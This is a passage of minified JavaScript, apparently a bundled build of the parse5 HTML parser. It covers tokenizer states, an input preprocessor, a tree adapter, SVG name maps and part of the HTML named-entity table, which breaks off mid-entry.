n.CODE_POINTS.QUOTATION_MARK:t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED;break;case n.CODE_POINTS.APOSTROPHE:t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.missingDoctypeSystemIdentifier),t.forceQuirks=!0,this.state=u.DATA,this.emitCurrentDoctype(t);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._err(o.ERR.missingQuoteBeforeDoctypeSystemIdentifier),t.forceQuirks=!0,this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e)}}_stateDoctypeSystemIdentifierDoubleQuoted(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.QUOTATION_MARK:this.state=u.AFTER_DOCTYPE_SYSTEM_IDENTIFIER;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.systemId+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.abruptDoctypeSystemIdentifier),t.forceQuirks=!0,this.emitCurrentDoctype(t),this.state=u.DATA;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:t.systemId+=String.fromCodePoint(e)}}_stateDoctypeSystemIdentifierSingleQuoted(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.APOSTROPHE:this.state=u.AFTER_DOCTYPE_SYSTEM_IDENTIFIER;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.systemId+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.abruptDoctypeSystemIdentifier),t.forceQuirks=!0,this.emitCurrentDoctype(t),this.state=u.DATA;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:t.systemId+=String.fromCodePoint(e)}}_stateAfterDoctypeSystemIdentifier(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.emitCurrentDoctype(t),this.state=u.DATA;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._err(o.ERR.unexpectedCharacterAfterDoctypeSystemIdentifier),this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e)}}_stateBogusDoctype(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.GREATER_THAN_SIGN:this.emitCurrentDoctype(t),this.state=u.DATA;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter);break;case n.CODE_POINTS.EOF:this.emitCurrentDoctype(t),this._emitEOFToken()}}_stateCdataSection(e){switch(e){case n.CODE_POINTS.RIGHT_SQUARE_BRACKET:this.state=u.CDATA_SECTION_BRACKET;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInCdata),this._emitEOFToken();break;default:this._emitCodePoint(e)}}_stateCdataSectionBracket(e){e===n.CODE_POINTS.RIGHT_SQUARE_BRACKET?this.state=u.CDATA_SECTION_END:(this._emitChars("]"),this.state=u.CDATA_SECTION,this._stateCdataSection(e))}_stateCdataSectionEnd(e){switch(e){case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA;break;case n.CODE_POINTS.RIGHT_SQUARE_BRACKET:this._emitChars("]");break;default:this._emitChars("]]"),this.state=u.CDATA_SECTION,this._stateCdataSection(e)}}_stateCharacterReference(){let e=this.entityDecoder.write(this.preprocessor.html,this.preprocessor.pos);if(e<0){if(!this.preprocessor.lastChunkWritten)return this.active=!1,this.preprocessor.pos=this.preprocessor.html.length-1,this.consumedAfterSnapshot=0,void(this.preprocessor.endOfChunkHit=!0);e=this.entityDecoder.end()}0===e?(this.preprocessor.pos=this.entityStartPos,this._flushCodePointConsumedAsCharacterReference(n.CODE_POINTS.AMPERSAND),this.state=!this._isCharacterReferenceInAttribute()&&h(this.preprocessor.peek(1))?u.AMBIGUOUS_AMPERSAND:this.returnState):this.state=this.returnState}_stateAmbiguousAmpersand(e){h(e)?this._flushCodePointConsumedAsCharacterReference(e):(e===n.CODE_POINTS.SEMICOLON&&this._err(o.ERR.unknownNamedCharacterReference),this.state=this.returnState,this._callState(e))}}},70601:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Preprocessor=void 0;const s=r(6746),n=r(13246);t.Preprocessor=class{constructor(e){this.handler=e,this.html="",this.pos=-1,this.lastGapPos=-2,this.gapStack=[],this.skipNextNewLine=!1,this.lastChunkWritten=!1,this.endOfChunkHit=!1,this.bufferWaterline=65536,this.isEol=!1,this.lineStartPos=0,this.droppedBufferSize=0,this.line=1,this.lastErrOffset=-1}get col(){return this.pos-this.lineStartPos+Number(this.lastGapPos!==this.pos)}get offset(){return this.droppedBufferSize+this.pos}getError(e,t){const{line:r,col:s,offset:n}=this,i=s+t,a=n+t;return{code:e,startLine:r,endLine:r,startCol:i,endCol:i,startOffset:a,endOffset:a}}_err(e){this.handler.onParseError&&this.lastErrOffset!==this.offset&&(this.lastErrOffset=this.offset,this.handler.onParseError(this.getError(e,0)))}_addGap(){this.gapStack.push(this.lastGapPos),this.lastGapPos=this.pos}_processSurrogate(e){if(this.pos!==this.html.length-1){const t=this.html.charCodeAt(this.pos+1);if((0,s.isSurrogatePair)(t))return this.pos++,this._addGap(),(0,s.getSurrogatePairCodePoint)(e,t)}else if(!this.lastChunkWritten)return this.endOfChunkHit=!0,s.CODE_POINTS.EOF;return this._err(n.ERR.surrogateInInputStream),e}willDropParsedChunk(){return this.pos>this.bufferWaterline}dropParsedChunk(){this.willDropParsedChunk()&&(this.html=this.html.substring(this.pos),this.lineStartPos-=this.pos,this.droppedBufferSize+=this.pos,this.pos=0,this.lastGapPos=-2,this.gapStack.length=0)}write(e,t){this.html.length>0?this.html+=e:this.html=e,this.endOfChunkHit=!1,this.lastChunkWritten=t}insertHtmlAtCurrentPos(e){this.html=this.html.substring(0,this.pos+1)+e+this.html.substring(this.pos+1),this.endOfChunkHit=!1}startsWith(e,t){if(this.pos+e.length>this.html.length)return this.endOfChunkHit=!this.lastChunkWritten,!1;if(t)return this.html.startsWith(e,this.pos);for(let t=0;t<e.length;t++)if((32|this.html.charCodeAt(this.pos+t))!==e.charCodeAt(t))return!1;return!0}peek(e){const t=this.pos+e;if(t>=this.html.length)return this.endOfChunkHit=!this.lastChunkWritten,s.CODE_POINTS.EOF;const r=this.html.charCodeAt(t);return r===s.CODE_POINTS.CARRIAGE_RETURN?s.CODE_POINTS.LINE_FEED:r}advance(){if(this.pos++,this.isEol&&(this.isEol=!1,this.line++,this.lineStartPos=this.pos),this.pos>=this.html.length)return this.endOfChunkHit=!this.lastChunkWritten,s.CODE_POINTS.EOF;let e=this.html.charCodeAt(this.pos);return e===s.CODE_POINTS.CARRIAGE_RETURN?(this.isEol=!0,this.skipNextNewLine=!0,s.CODE_POINTS.LINE_FEED):e===s.CODE_POINTS.LINE_FEED&&(this.isEol=!0,this.skipNextNewLine)?(this.line--,this.skipNextNewLine=!1,this._addGap(),this.advance()):(this.skipNextNewLine=!1,(0,s.isSurrogate)(e)&&(e=this._processSurrogate(e)),null===this.handler.onParseError||e>31&&e<127||e===s.CODE_POINTS.LINE_FEED||e===s.CODE_POINTS.CARRIAGE_RETURN||e>159&&e<64976||this._checkForProblematicCharacters(e),e)}_checkForProblematicCharacters(e){(0,s.isControlCodePoint)(e)?this._err(n.ERR.controlCharacterInInputStream):(0,s.isUndefinedCodePoint)(e)&&this._err(n.ERR.noncharacterInInputStream)}retreat(e){for(this.pos-=e;this.pos<this.lastGapPos;)this.lastGapPos=this.gapStack.pop(),this.pos--;this.isEol=!1}}},53384:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.defaultTreeAdapter=void 0;const s=r(96854);t.defaultTreeAdapter={createDocument:()=>({nodeName:"#document",mode:s.DOCUMENT_MODE.NO_QUIRKS,childNodes:[]}),createDocumentFragment:()=>({nodeName:"#document-fragment",childNodes:[]}),createElement:(e,t,r)=>({nodeName:e,tagName:e,attrs:r,namespaceURI:t,childNodes:[],parentNode:null}),createCommentNode:e=>({nodeName:"#comment",data:e,parentNode:null}),createTextNode:e=>({nodeName:"#text",value:e,parentNode:null}),appendChild(e,t){e.childNodes.push(t),t.parentNode=e},insertBefore(e,t,r){const s=e.childNodes.indexOf(r);e.childNodes.splice(s,0,t),t.parentNode=e},setTemplateContent(e,t){e.content=t},getTemplateContent:e=>e.content,setDocumentType(e,r,s,n){const i=e.childNodes.find((e=>"#documentType"===e.nodeName));if(i)i.name=r,i.publicId=s,i.systemId=n;else{const i={nodeName:"#documentType",name:r,publicId:s,systemId:n,parentNode:null};t.defaultTreeAdapter.appendChild(e,i)}},setDocumentMode(e,t){e.mode=t},getDocumentMode:e=>e.mode,detachNode(e){if(e.parentNode){const t=e.parentNode.childNodes.indexOf(e);e.parentNode.childNodes.splice(t,1),e.parentNode=null}},insertText(e,r){if(e.childNodes.length>0){const s=e.childNodes[e.childNodes.length-1];if(t.defaultTreeAdapter.isTextNode(s))return void(s.value+=r)}t.defaultTreeAdapter.appendChild(e,t.defaultTreeAdapter.createTextNode(r))},insertTextBefore(e,r,s){const n=e.childNodes[e.childNodes.indexOf(s)-1];n&&t.defaultTreeAdapter.isTextNode(n)?n.value+=r:t.defaultTreeAdapter.insertBefore(e,t.defaultTreeAdapter.createTextNode(r),s)},adoptAttributes(e,t){const r=new Set(e.attrs.map((e=>e.name)));for(let s=0;s<t.length;s++)r.has(t[s].name)||e.attrs.push(t[s])},getFirstChild:e=>e.childNodes[0],getChildNodes:e=>e.childNodes,getParentNode:e=>e.parentNode,getAttrList:e=>e.attrs,getTagName:e=>e.tagName,getNamespaceURI:e=>e.namespaceURI,getTextNodeContent:e=>e.value,getCommentNodeContent:e=>e.data,getDocumentTypeNodeName:e=>e.name,getDocumentTypeNodePublicId:e=>e.publicId,getDocumentTypeNodeSystemId:e=>e.systemId,isTextNode:e=>"#text"===e.nodeName,isCommentNode:e=>"#comment"===e.nodeName,isDocumentTypeNode:e=>"#documentType"===e.nodeName,isElementNode:e=>Object.prototype.hasOwnProperty.call(e,"tagName"),setNodeSourceCodeLocation(e,t){e.sourceCodeLocation=t},getNodeSourceCodeLocation:e=>e.sourceCodeLocation,updateNodeSourceCodeLocation(e,t){e.sourceCodeLocation=Object.assign(Object.assign({},e.sourceCodeLocation),t)}}},79004:e=>{"use strict";e.exports=JSON.parse('{"elementNames":{"altglyph":"altGlyph","altglyphdef":"altGlyphDef","altglyphitem":"altGlyphItem","animatecolor":"animateColor","animatemotion":"animateMotion","animatetransform":"animateTransform","clippath":"clipPath","feblend":"feBlend","fecolormatrix":"feColorMatrix","fecomponenttransfer":"feComponentTransfer","fecomposite":"feComposite","feconvolvematrix":"feConvolveMatrix","fediffuselighting":"feDiffuseLighting","fedisplacementmap":"feDisplacementMap","fedistantlight":"feDistantLight","fedropshadow":"feDropShadow","feflood":"feFlood","fefunca":"feFuncA","fefuncb":"feFuncB","fefuncg":"feFuncG","fefuncr":"feFuncR","fegaussianblur":"feGaussianBlur","feimage":"feImage","femerge":"feMerge","femergenode":"feMergeNode","femorphology":"feMorphology","feoffset":"feOffset","fepointlight":"fePointLight","fespecularlighting":"feSpecularLighting","fespotlight":"feSpotLight","fetile":"feTile","feturbulence":"feTurbulence","foreignobject":"foreignObject","glyphref":"glyphRef","lineargradient":"linearGradient","radialgradient":"radialGradient","textpath":"textPath"},"attributeNames":{"definitionurl":"definitionURL","attributename":"attributeName","attributetype":"attributeType","basefrequency":"baseFrequency","baseprofile":"baseProfile","calcmode":"calcMode","clippathunits":"clipPathUnits","diffuseconstant":"diffuseConstant","edgemode":"edgeMode","filterunits":"filterUnits","glyphref":"glyphRef","gradienttransform":"gradientTransform","gradientunits":"gradientUnits","kernelmatrix":"kernelMatrix","kernelunitlength":"kernelUnitLength","keypoints":"keyPoints","keysplines":"keySplines","keytimes":"keyTimes","lengthadjust":"lengthAdjust","limitingconeangle":"limitingConeAngle","markerheight":"markerHeight","markerunits":"markerUnits","markerwidth":"markerWidth","maskcontentunits":"maskContentUnits","maskunits":"maskUnits","numoctaves":"numOctaves","pathlength":"pathLength","patterncontentunits":"patternContentUnits","patterntransform":"patternTransform","patternunits":"patternUnits","pointsatx":"pointsAtX","pointsaty":"pointsAtY","pointsatz":"pointsAtZ","preservealpha":"preserveAlpha","preserveaspectratio":"preserveAspectRatio","primitiveunits":"primitiveUnits","refx":"refX","refy":"refY","repeatcount":"repeatCount","repeatdur":"repeatDur","requiredextensions":"requiredExtensions","requiredfeatures":"requiredFeatures","specularconstant":"specularConstant","specularexponent":"specularExponent","spreadmethod":"spreadMethod","startoffset":"startOffset","stddeviation":"stdDeviation","stitchtiles":"stitchTiles","surfacescale":"surfaceScale","systemlanguage":"systemLanguage","tablevalues":"tableValues","targetx":"targetX","targety":"targetY","textlength":"textLength","viewbox":"viewBox","viewtarget":"viewTarget","xchannelselector":"xChannelSelector","ychannelselector":"yChannelSelector","zoomandpan":"zoomAndPan"}}')},33523:e=>{"use strict";e.exports=JSON.parse('{"0":65533,"128":8364,"130":8218,"131":402,"132":8222,"133":8230,"134":8224,"135":8225,"136":710,"137":8240,"138":352,"139":8249,"140":338,"142":381,"145":8216,"146":8217,"147":8220,"148":8221,"149":8226,"150":8211,"151":8212,"152":732,"153":8482,"154":353,"155":8250,"156":339,"158":382,"159":376}')},53082:e=>{"use strict";e.exports=JSON.parse('{"Aacute":"Á","aacute":"á","Abreve":"Ă","abreve":"ă","ac":"∾","acd":"∿","acE":"∾̳","Acirc":"Â","acirc":"â","acute":"´","Acy":"А","acy":"а","AElig":"Æ","aelig":"æ","af":"⁡","Afr":"𝔄","afr":"𝔞","Agrave":"À","agrave":"à","alefsym":"ℵ","aleph":"ℵ","Alpha":"Α","alpha":"α","Amacr":"Ā","amacr":"ā","amalg":"⨿","amp":"&","AMP":"&","andand":"⩕","And":"⩓","and":"∧","andd":"⩜","andslope":"⩘","andv":"⩚","ang":"∠","ange":"⦤","angle":"∠","angmsdaa":"⦨","angmsdab":"⦩","angmsdac":"⦪","angmsdad":"⦫","angmsdae":"⦬","angmsdaf":"⦭","angmsdag":"⦮","angmsdah":"⦯","angmsd":"∡","angrt":"∟","angrtvb":"⊾","angrtvbd":"⦝","angsph":"∢","angst":"Å","angzarr":"⍼","Aogon":"Ą","aogon":"ą","Aopf":"𝔸","aopf":"𝕒","apacir":"⩯","ap":"≈","apE":"⩰","ape":"≊","apid":"≋","apos":"\'","ApplyFunction":"⁡","approx":"≈","approxeq":"≊","Aring":"Å","aring":"å","Ascr":"𝒜","ascr":"𝒶","Assign":"≔","ast":"*","asymp":"≈","asympeq":"≍","Atilde":"Ã","atilde":"ã","Auml":"Ä","auml":"ä","awconint":"∳","awint":"⨑","backcong":"≌","backepsilon":"϶","backprime":"‵","backsim":"∽","backsimeq":"⋍","Backslash":"∖","Barv":"⫧","barvee":"⊽","barwed":"⌅","Barwed":"⌆","barwedge":"⌅","bbrk":"⎵","bbrktbrk":"⎶","bcong":"≌","Bcy":"Б","bcy":"б","bdquo":"„","becaus":"∵","because":"∵","Because":"∵","bemptyv":"⦰","bepsi":"϶","bernou":"ℬ","Bernoullis":"ℬ","Beta":"Β","beta":"β","beth":"ℶ","between":"≬","Bfr":"𝔅","bfr":"𝔟","bigcap":"⋂","bigcirc":"◯","bigcup":"⋃","bigodot":"⨀","bigoplus":"⨁","bigotimes":"⨂","bigsqcup":"⨆","bigstar":"★","bigtriangledown":"▽","bigtriangleup":"△","biguplus":"⨄","bigvee":"⋁","bigwedge":"⋀","bkarow":"⤍","blacklozenge":"⧫","blacksquare":"▪","blacktriangle":"▴","blacktriangledown":"▾","blacktriangleleft":"◂","blacktriangleright":"▸","blank":"␣","blk12":"▒","blk14":"░","blk34":"▓","block":"█","bne":"=⃥","bnequiv":"≡⃥","bNot":"⫭","bnot":"⌐","Bopf":"𝔹","bopf":"𝕓","bot":"⊥","bottom":"⊥","bowtie":"⋈","boxbox":"⧉","boxdl":"┐","boxdL":"╕","boxDl":"╖","boxDL":"╗","boxdr":"┌","boxdR":"╒","boxDr":"╓","boxDR":"╔","boxh":"─","boxH":"═","boxhd":"┬","boxHd":"╤","boxhD":"╥","boxHD":"╦","boxhu":"┴","boxHu":"╧","boxhU":"╨","boxHU":"╩","boxminus":"⊟","boxplus":"⊞","boxtimes":"⊠","boxul":"┘","boxuL":"╛","boxUl":"╜","boxUL":"╝","boxur":"└","boxuR":"╘","boxUr":"╙","boxUR":"╚","boxv":"│","boxV":"║","boxvh":"┼","boxvH":"╪","boxVh":"╫","boxVH":"╬","boxvl":"┤","boxvL":"╡","boxVl":"╢","boxVL":"╣","boxvr":"├","boxvR":"╞","boxVr":"╟","boxVR":"╠","bprime":"‵","breve":"˘","Breve":"˘","brvbar":"¦","bscr":"𝒷","Bscr":"ℬ","bsemi":"⁏","bsim":"∽","bsime":"⋍","bsolb":"⧅","bsol":"\\\\","bsolhsub":"⟈","bull":"•","bullet":"•","bump":"≎","bumpE":"⪮","bumpe":"≏","Bumpeq":"≎","bumpeq":"≏","Cacute":"Ć","cacute":"ć","capand":"⩄","capbrcup":"⩉","capcap":"⩋","cap":"∩","Cap":"⋒","capcup":"⩇","capdot":"⩀","CapitalDifferentialD":"ⅅ","caps":"∩︀","caret":"⁁","caron":"ˇ","Cayleys":"ℭ","ccaps":"⩍","Ccaron":"Č","ccaron":"č","Ccedil":"Ç","ccedil":"ç","Ccirc":"Ĉ","ccirc":"ĉ","Cconint":"∰","ccups":"⩌","ccupssm":"⩐","Cdot":"Ċ","cdot":"ċ","cedil":"¸","Cedilla":"¸","cemptyv":"⦲","cent":"¢","centerdot":"·","CenterDot":"·","cfr":"𝔠","Cfr":"ℭ","CHcy":"Ч","chcy":"ч","check":"✓","checkmark":"✓","Chi":"Χ","chi":"χ","circ":"ˆ","circeq":"≗","circlearrowleft":"↺","circlearrowright":"↻","circledast":"⊛","circledcirc":"⊚","circleddash":"⊝","CircleDot":"⊙","circledR":"®","circledS":"Ⓢ","CircleMinus":"⊖","CirclePlus":"⊕","CircleTimes":"⊗","cir":"○","cirE":"⧃","cire":"≗","cirfnint":"⨐","cirmid":"⫯","cirscir":"⧂","ClockwiseContourIntegral":"∲","CloseCurlyDoubleQuote":"”","CloseCurlyQuote":"’","clubs":"♣","clubsuit":"♣","colon":":","Colon":"∷","Colone":"⩴","colone":"≔","coloneq":"≔","comma":",","commat":"@","comp":"∁","compfn":"∘","complement":"∁","complexes":"ℂ","cong":"≅","congdot":"⩭","Congruent":"≡","conint":"∮","Conint":"∯","ContourIntegral":"∮","copf":"𝕔","Copf":"ℂ","coprod":"∐","Coproduct":"∐","copy":"©","COPY":"©","copysr":"℗","CounterClockwiseContourIntegral":"∳","crarr":"↵","cross":"✗","Cross":"⨯","Cscr":"𝒞","cscr":"𝒸","csub":"⫏","csube":"⫑","csup":"⫐","csupe":"⫒","ctdot":"⋯","cudarrl":"⤸","cudarrr":"⤵","cuepr":"⋞","cuesc":"⋟","cularr":"↶","cularrp":"⤽","cupbrcap":"⩈","cupcap":"⩆","CupCap":"≍","cup":"∪","Cup":"⋓","cupcup":"⩊","cupdot":"⊍","cupor":"⩅","cups":"∪︀","curarr":"↷","curarrm":"⤼","curlyeqprec":"⋞","curlyeqsucc":"⋟","curlyvee":"⋎","curlywedge":"⋏","curren":"¤","curvearrowleft":"↶","curvearrowright":"↷","cuvee":"⋎","cuwed":"⋏","cwconint":"∲","cwint":"∱","cylcty":"⌭","dagger":"†","Dagger":"‡","daleth":"ℸ","darr":"↓","Darr":"↡","dArr":"⇓","dash":"‐","Dashv":"⫤","dashv":"⊣","dbkarow":"⤏","dblac":"˝","Dcaron":"Ď","dcaron":"ď","Dcy":"Д","dcy":"д","ddagger":"‡","ddarr":"⇊","DD":"ⅅ","dd":"ⅆ","DDotrahd":"⤑","ddotseq":"⩷","deg":"°","Del":"∇","Delta":"Δ","delta":"δ","demptyv":"⦱","dfisht":"⥿","Dfr":"𝔇","dfr":"𝔡","dHar":"⥥","dharl":"⇃","dharr":"⇂","DiacriticalAcute":"´","DiacriticalDot":"˙","DiacriticalDoubleAcute":"˝","DiacriticalGrave":"`","DiacriticalTilde":"˜","diam":"⋄","diamond":"⋄","Diamond":"⋄","diamondsuit":"♦","diams":"♦","die":"¨","DifferentialD":"ⅆ","digamma":"ϝ","disin":"⋲","div":"÷","divide":"÷","divideontimes":"⋇","divonx":"⋇","DJcy":"Ђ","djcy":"ђ","dlcorn":"⌞","dlcrop":"⌍","dollar":"$","Dopf":"𝔻","dopf":"𝕕","Dot":"¨","dot":"˙","DotDot":"⃜","doteq":"≐","doteqdot":"≑","DotEqual":"≐","dotminus":"∸","dotplus":"∔","dotsquare":"⊡","doublebarwedge":"⌆","DoubleContourIntegral":"∯","DoubleDot":"¨","DoubleDownArrow":"⇓","DoubleLeftArrow":"⇐","DoubleLeftRightArrow":"⇔","DoubleLeftTee":"⫤","DoubleLongLeftArrow":"⟸","DoubleLongLeftRightArrow":"⟺","DoubleLongRightArrow":"⟹","DoubleRightArrow":"⇒","DoubleRightTee":"⊨","DoubleUpArrow":"⇑","DoubleUpDownArrow":"⇕","DoubleVerticalBar":"∥","DownArrowBar":"⤓","downarrow":"↓","DownArrow":"↓","Downarrow":"⇓","DownArrowUpArrow":"⇵","DownBreve":"̑","downdownarrows":"⇊","downharpoonleft":"⇃","downharpoonright":"⇂","DownLeftRightVector":"⥐","DownLeftTeeVector":"⥞","DownLeftVectorBar":"⥖","DownLeftVector":"↽","DownRightTeeVector":"⥟","DownRightVectorBar":"⥗","DownRightVector":"⇁","DownTeeArrow":"↧","DownTee":"⊤","drbkarow":"⤐","drcorn":"⌟","drcrop":"⌌","Dscr":"𝒟","dscr":"𝒹","DScy":"Ѕ","dscy":"ѕ","dsol":"⧶","Dstrok":"Đ","dstrok":"đ","dtdot":"⋱","dtri":"▿","dtrif":"▾","duarr":"⇵","duhar":"⥯","dwangle":"⦦","DZcy":"Џ","dzcy":"џ","dzigrarr":"⟿","Eacute":"É","eacute":"é","easter":"⩮","Ecaron":"Ě","ecaron":"ě","Ecirc":"Ê","ecirc":"ê","ecir":"≖","ecolon":"≕","Ecy":"Э","ecy":"э","eDDot":"⩷","Edot":"Ė","edot":"ė","eDot":"≑","ee":"ⅇ","efDot":"≒","Efr":"𝔈","efr":"𝔢","eg":"⪚","Egrave":"È","egrave":"è","egs":"⪖","egsdot":"⪘","el":"⪙","Element":"∈","elinters":"⏧","ell":"ℓ","els":"⪕","elsdot":"⪗","Emacr":"Ē","emacr":"ē","empty":"∅","emptyset":"∅","EmptySmallSquare":"◻","emptyv":"∅","EmptyVerySmallSquare":"▫","emsp13":" ","emsp14":" ","emsp":" ","ENG":"Ŋ","eng":"ŋ","ensp":" ","Eogon":"Ę","eogon":"ę","Eopf":"𝔼","eopf":"𝕖","epar":"⋕","eparsl":"⧣","eplus":"⩱","epsi":"ε","Epsilon":"Ε","epsilon":"ε","epsiv":"ϵ","eqcirc":"≖","eqcolon":"≕","eqsim":"≂","eqslantgtr":"⪖","eqslantless":"⪕","Equal":"⩵","equals":"=","EqualTilde":"≂","equest":"≟","Equilibrium":"⇌","equiv":"≡","equivDD":"⩸","eqvparsl":"⧥","erarr":"⥱","erDot":"≓","escr":"ℯ","Escr":"ℰ","esdot":"≐","Esim":"⩳","esim":"≂","Eta":"Η","eta":"η","ETH":"Ð","eth":"ð","Euml":"Ë","euml":"ë","euro":"€","excl":"!","exist":"∃","Exists":"∃","expectation":"ℰ","exponentiale":"ⅇ","ExponentialE":"ⅇ","fallingdotseq":"≒","Fcy":"Ф","fcy":"ф","female":"♀","ffilig":"ffi","fflig":"ff","ffllig":"ffl","Ffr":"𝔉","ffr":"𝔣","filig":"fi","FilledSmallSquare":"◼","FilledVerySmallSquare":"▪","fjlig":"fj","flat":"♭","fllig":"fl","fltns":"▱","fnof":"ƒ","Fopf":"𝔽","fopf":"𝕗","forall":"∀","ForAll":"∀","fork":"⋔","forkv":"⫙","Fouriertrf":"ℱ","fpartint":"⨍","frac12":"½","frac13":"⅓","frac14":"¼","frac15":"⅕","frac16":"⅙","frac18":"⅛","frac23":"⅔","frac25":"⅖","frac34":"¾","frac35":"⅗","frac38":"⅜","frac45":"⅘","frac56":"⅚","frac58":"⅝","frac78":"⅞","frasl":"⁄","frown":"⌢","fscr":"𝒻","Fscr":"ℱ","gacute":"ǵ","Gamma":"Γ","gamma":"γ","Gammad":"Ϝ","gammad":"ϝ","gap":"⪆","Gbreve":"Ğ","gbreve":"ğ","Gcedil":"Ģ","Gcirc":"Ĝ","gcirc":"ĝ","Gcy":"Г","gcy":"г","Gdot":"Ġ","gdot":"ġ","ge":"≥","gE":"≧","gEl":"⪌","gel":"⋛","geq":"≥","geqq":"≧","geqslant":"⩾","gescc":"⪩","ges":"⩾","gesdot":"⪀","gesdoto":"⪂","gesdotol":"⪄","gesl":"⋛︀","gesles":"⪔","Gfr":"𝔊","gfr":"𝔤","gg":"≫","Gg":"⋙","ggg":"⋙","gimel":"ℷ","GJcy":"Ѓ","gjcy":"ѓ","gla":"⪥","gl":"≷","glE":"⪒","glj":"⪤","gnap":"⪊","gnapprox":"⪊","gne":"⪈","gnE":"≩","gneq":"⪈","gneqq":"≩","gnsim":"⋧","Gopf":"𝔾","gopf":"𝕘","grave":"`","GreaterEqual":"≥","GreaterEqualLess":"⋛","GreaterFullEqual":"≧","GreaterGreater":"⪢","GreaterLess":"≷","GreaterSlantEqual":"⩾","GreaterTilde":"≳","Gscr":"𝒢","gscr":"ℊ","gsim":"≳","gsime":"⪎","gsiml":"⪐","gtcc":"⪧","gtcir":"⩺","gt":">","GT":">","Gt":"≫","gtdot":"⋗","gtlPar":"⦕","gtquest":"⩼","gtrapprox":"⪆","gtrarr":"⥸","gtrdot":"⋗","gtreqless":"⋛","gtreqqless":"⪌","gtrless":"≷","gtrsim":"≳","gvertneqq":"≩︀","gvnE":"≩︀","Hacek":"ˇ","hairsp":" ","half":"½","hamilt":"ℋ","HARDcy":"Ъ","hardcy":"ъ","harrcir":"⥈","harr":"↔","hArr":"⇔","harrw":"↭","Hat":"^","hbar":"ℏ","Hcirc":"Ĥ","hcirc":"ĥ","hearts":"♥","heartsuit":"♥","hellip":"…","hercon":"⊹","hfr":"𝔥","Hfr":"ℌ","HilbertSpace":"ℋ","hksearow":"⤥","hkswarow":"⤦","hoarr":"⇿","homtht":"∻","hookleftarrow":"↩","hookrightarrow":"↪","hopf":"𝕙","Hopf":"ℍ","horbar":"―","HorizontalLine":"─","hscr":"𝒽","Hscr":"ℋ","hslash":"ℏ","Hstrok":"Ħ","hstrok":"ħ","HumpDownHump":"≎","HumpEqual":"≏","hybull":"⁃","hyphen":"‐","Iacute":"Í","iacute":"í","ic":"⁣","Icirc":"Î","icirc":"î","Icy":"И","icy":"и","Idot":"İ","IEcy":"Е","iecy":"е","iexcl":"¡","iff":"⇔","ifr":"𝔦","Ifr":"ℑ","Igrave":"Ì","igrave":"ì","ii":"ⅈ","iiiint":"⨌","iiint":"∭","iinfin":"⧜","iiota":"℩","IJlig":"IJ","ijlig":"ij","Imacr":"Ī","imacr":"ī","image":"ℑ","ImaginaryI":"ⅈ","imagline":"ℐ","imagpart":"ℑ","imath":"ı","Im":"ℑ","imof":"⊷","imped":"Ƶ","Implies":"⇒","incare":"℅","in":"∈","infin":"∞","infintie":"⧝","inodot":"ı","intcal":"⊺","int":"∫","Int":"∬","integers":"ℤ","Integral":"∫","intercal":"⊺","Intersection":"⋂","intlarhk":"⨗","intprod":"⨼","InvisibleComma":"⁣","InvisibleTimes":"⁢","IOcy":"Ё","iocy":"ё","Iogon":"Į","iogon":"į","Iopf":"𝕀","iopf":"𝕚","Iota":"Ι","iota":"ι","iprod":"⨼","iquest":"¿","iscr":"𝒾","Iscr":"ℐ","isin":"∈","isindot":"⋵","isinE":"⋹","isins":"⋴","isinsv":"⋳","isinv":"∈","it":"⁢","Itilde":"Ĩ","itilde":"ĩ","Iukcy":"І","iukcy":"і","Iuml":"Ï","iuml":"ï","Jcirc":"Ĵ","jcirc":"ĵ","Jcy":"Й","jcy":"й","Jfr":"𝔍","jfr":"𝔧","jmath":"ȷ","Jopf":"𝕁","jopf":"𝕛","Jscr":"𝒥","jscr":"𝒿","Jsercy":"Ј","jsercy":"ј","Jukcy":"Є","jukcy":"є","Kappa":"Κ","kappa":"κ","kappav":"ϰ","Kcedil":"Ķ","kcedil":"ķ","Kcy":"К","kcy":"к","Kfr":"𝔎","kfr":"𝔨","kgreen":"ĸ","KHcy":"Х","khcy":"х","KJcy":"Ќ","kjcy":"ќ","Kopf":"𝕂","kopf":"𝕜","Kscr":"𝒦","kscr":"𝓀","lAarr":"⇚","Lacute":"Ĺ","lacute":"ĺ","laemptyv":"⦴","lagran":"ℒ","Lambda":"Λ","lambda":"λ","lang":"⟨","Lang":"⟪","langd":"⦑","langle":"⟨","lap":"⪅","Laplacetrf":"ℒ","laquo":"«","larrb":"⇤","larrbfs":"⤟","larr":"←","Larr":"↞","lArr":"⇐","larrfs":"⤝","larrhk":"↩","larrlp":"↫","larrpl":"⤹","larrsim":"